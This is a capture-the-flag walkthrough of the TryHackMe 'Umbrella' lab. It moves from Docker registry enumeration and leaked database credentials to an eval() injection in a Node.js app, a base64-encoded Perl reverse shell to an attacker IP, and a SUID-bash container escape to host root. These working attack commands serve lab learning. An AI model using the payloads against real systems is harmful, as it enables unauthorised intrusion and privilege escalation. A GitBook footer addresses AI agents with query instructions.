> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/umbrella.md).

# Umbrella

{% embed url="<https://tryhackme.com/room/umbrella>" %}

## Recon

Let's start with a nmap scan.&#x20;

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- umbrella.thm          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 05:05 EST
Host is up (0.15s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
3306/tcp open  mysql
5000/tcp open  upnp
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1058.12 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -sC -p 22,3306,5000,8080 umbrella.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 05:29 EST
Host is up (0.15s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f0:14:2f:d6:f6:76:8c:58:9a:8e:84:6a:b1:fb:b9:9f (RSA)
|   256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
|_  256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
3306/tcp open  mysql   MySQL 5.7.40
|_ssl-date: TLS randomness does not represent time
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.40
|   Thread ID: 5
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsLoadDataLocal, ODBCClient, IgnoreSpaceBeforeParenthesis, Support41Auth, LongColumnFlag, InteractiveClient, SupportsCompression, FoundRows, LongPassword, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: [wU8]\x1A)\x01R2?\x1A\x10Tx\x17\x06\x01<\x1F
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Not valid before: 2022-12-22T10:04:49
|_Not valid after:  2032-12-19T10:04:49
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
8080/tcp open  http    Node.js (Express middleware)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.26 seconds

```

Visiting `Umbrella.thm:8080` gives us a login page. Defaut credentials such as `admin:admin` did not work. Gobuster and Dirbuster didn't reveal any other directories which can be exploited.&#x20;

<figure><img src="/files/Q2eTWOc7ydiWtgzDQTpz" alt=""><figcaption></figcaption></figure>

There is a docker registery that is exposed on port 5000.&#x20;

Docker Registry is an official tool from the Docker project for storing and distributing container images. Docker Registry is open source, and anyone can download and run the software to set up their own container image registry.

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry>" %}

Hacktricks has more details on how we can enumerate this.&#x20;

We can use cURL to enumerate and find useful information. We can see it is configured for HTTP. Wee can display the available repositories via `_catalog`. The repository `umbrella/timetracking` is available to us.

```
┌──(kali㉿kali)-[~]
└─$ curl -s http://umbrella.thm:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}

┌──(kali㉿kali)-[~]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}
```

With the tag and the repository, we can now pull the manifests.&#x20;

```
┌──(kali㉿kali)-[~]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/manifests/latest
{
   "schemaVersion": 1,
   "name": "umbrella/timetracking",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:c9124d8ccff258cf42f1598eae732c3f530bf4cdfbd7c4cd7b235dfae2e0a549"
      },
      {
         "blobSum": "sha256:62c454461c50ff8fb0d1c5d5ad8146203bb4505b30b9c27e6f05461b6d07edcb"
         .
         .
         TRUNCATED
         .
         .
```

The manifest contains the history and the blobs used by Docker. The history is self explanatory it contains the commands or instructions that were used to build the Docker image. The blobs refer to binary large objects, which are the individual layers that compose a Docker image.

The first history contains the databse of the password and we can answer the first question.&#x20;

<figure><img src="/files/kkCLHdyyV5rgzweMaowW" alt=""><figcaption></figcaption></figure>

Let's login to the databse and see what we can find.&#x20;

<figure><img src="/files/3DaJPmRJbeKVgO3i3P1T" alt=""><figcaption></figcaption></figure>

We can find credentials for `claire-r`, `chirs-r`, `jill-r` and `barry-b`. These are MD5 encoded and can easily be cracked via hashcat. \
`hashcat -a 0 -m 0 hashes /usr/share/wordlist/rockyou.txt`

Cracking these hashes will give us passwords.&#x20;

## Initial Access

We can now login with the credentials we have.&#x20;

<figure><img src="/files/VikuKRFKGm2EmGvyvwrz" alt=""><figcaption></figcaption></figure>

We can also use the same credentials for SSH.  This will give us a flag, which answers the 2nd question.

```
┌──(kali㉿kali)-[~/Desktop/THM/Umbrella]
└─$ ssh claire-r@umbrella.thm 
The authenticity of host 'umbrella.thm (10.10.229.203)' can't be established.
ED25519 key fingerprint is SHA256:4O8itcDPWBL0nD2ELrDFEMiWY9Pn8UuEdRRP7L8pxr8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'umbrella.thm' (ED25519) to the list of known hosts.
claire-r@umbrella.thm's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 23 Jan 2024 11:50:41 AM UTC

  System load:                      0.0
  Usage of /:                       69.6% of 6.06GB
  Memory usage:                     49%
  Swap usage:                       0%
  Processes:                        127
  Users logged in:                  0
  IPv4 address for br-1fddcfdf193d: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.229.203

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

20 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

claire-r@ctf:~$ ls
timeTracker-src  user.txt
claire-r@ctf:~$ cat user.txt
[REDACTED]
claire-r@ctf:~$ 
```

timeTracker-src contains the sources for the app on 8080. We can explore that further for any information.&#x20;

{% code overflow="wrap" %}

```
claire-r@ctf:~/timeTracker-src$ ls
app.js  db  docker-compose.yml  Dockerfile  logs  package.json  package-lock.json  public  views
```

{% endcode %}

Inside the Docker compose file, we see that the `/logs` folder is mounted. There could be about a misconfigured Docker Container running the application. The next steps could therefore be to get a foothold over 8080 and escalated our privileges from the vulnerable Docker container.&#x20;

```
claire-r@ctf:~/timeTracker-src$ cat docker-compose.yml 
version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: [REDACTED]
    ports:
      - '3306:3306'     
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs

```

Back to the web app we can see a time entry tool with the option of using mathematical operations to update our tracked times. When we enter a numerical value, the time spent value increases.

But upon entering non numerical value it sends us to a page and gives syntax errors. Upon further inspection of the code of app.js. We can find

`let timeCalc = parseInt(eval(request.body.time));`&#x20;

The entered time value is evaluated using `eval()`. Here we can try injecting different payloads.&#x20;

After trying few payloads&#x20;

`arguments[1].end(require('child_process').execSync('cat /etc/passwd'))`

We are able to retrieve `/etc/passwd.` But no other payloads yeilded good results. \
After quite a few payloads. Perl seemed to work.&#x20;

{% code overflow="wrap" %}

```
perl -e 'use Socket;$i="10.17.15.155";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```

{% endcode %}

We can encode this as base64. Our payload will look like this.&#x20;

{% code overflow="wrap" %}

```
require('child_process').execSync('echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTcuMTUuMTU1IjskcD0xMzM3O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jw== | base64 -d | bash')
```

{% endcode %}

With this we get a reverse shell on the Docker Container as root.&#x20;

<div align="center"><figure><img src="/files/ZBwToMXpk9VRL0dq52EA" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/AWs0IYWpZLMsvQrmLafy" alt=""><figcaption></figcaption></figure>

The main goal here is to escape from the container to a user on the host (not having the SSH access).

However not much could be done in the Container, usual binaries like were also not available.

## Privilege Escalation

In the root directory, we find the folder `/logs`. This is interesting, even without the knowledge that `claires-r`'s home directory belongs to `UID 1001`.&#x20;

```
root@de0610f51845:/# ls
ls
bin
boot
dev
etc
home
lib
lib64
logs
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

To confirm that this is the log directory from `clair-r` we look at the contents and could also create a file in there.

```
root@de0610f51845:/logs# ls -la
ls -la
total 12
drwxrw-rw- 2 1001 1001 4096 Jan 23 14:02 .
drwxr-xr-x 1 root root 4096 Dec 22  2022 ..
-rw-r--r-- 1 root root  583 Jan 23 13:29 tt.log
```

In both we can find `tt.log`.

```
claire-r@ctf:~/timeTracker-src/logs$ ls -la
total 12
drwxrw-rw- 2 claire-r claire-r 4096 Jan 23 14:02 .
drwxrwxr-x 6 claire-r claire-r 4096 Dec 22  2022 ..
-rw-r--r-- 1 root     root      583 Jan 23 13:29 tt.log
```

We can use the following technique:

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells-and-host-mount>" %}

{% hint style="info" %}

### Privilege Escalation with 2 shells and host mount

If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.

```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```

{% endhint %}

We copy `/bin/bash` as `claire-r` into `/logs`.

```
claire-r@ctf:~/timeTracker-src/logs$ cp /bin/bash .
claire-r@ctf:~/timeTracker-src/logs$ ls
bash  tt.log
```

We modify the permissions fom the container as root.&#x20;

```
root@de0610f51845:/logs# chown root:root bash
chown root:root bash
root@de0610f51845:/logs# chmod 4777 bash
chmod 4777 bash
```

Now we run `./bash -p` as `claire-r`. We get a root shell and have access to the root flag in `/root`, which answers the third and final question.

```
claire-r@ctf:~/timeTracker-src/logs$ ./bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
root.txt  snap
bash-5.0# cat root.txt 
[REDACTED]
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/umbrella.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
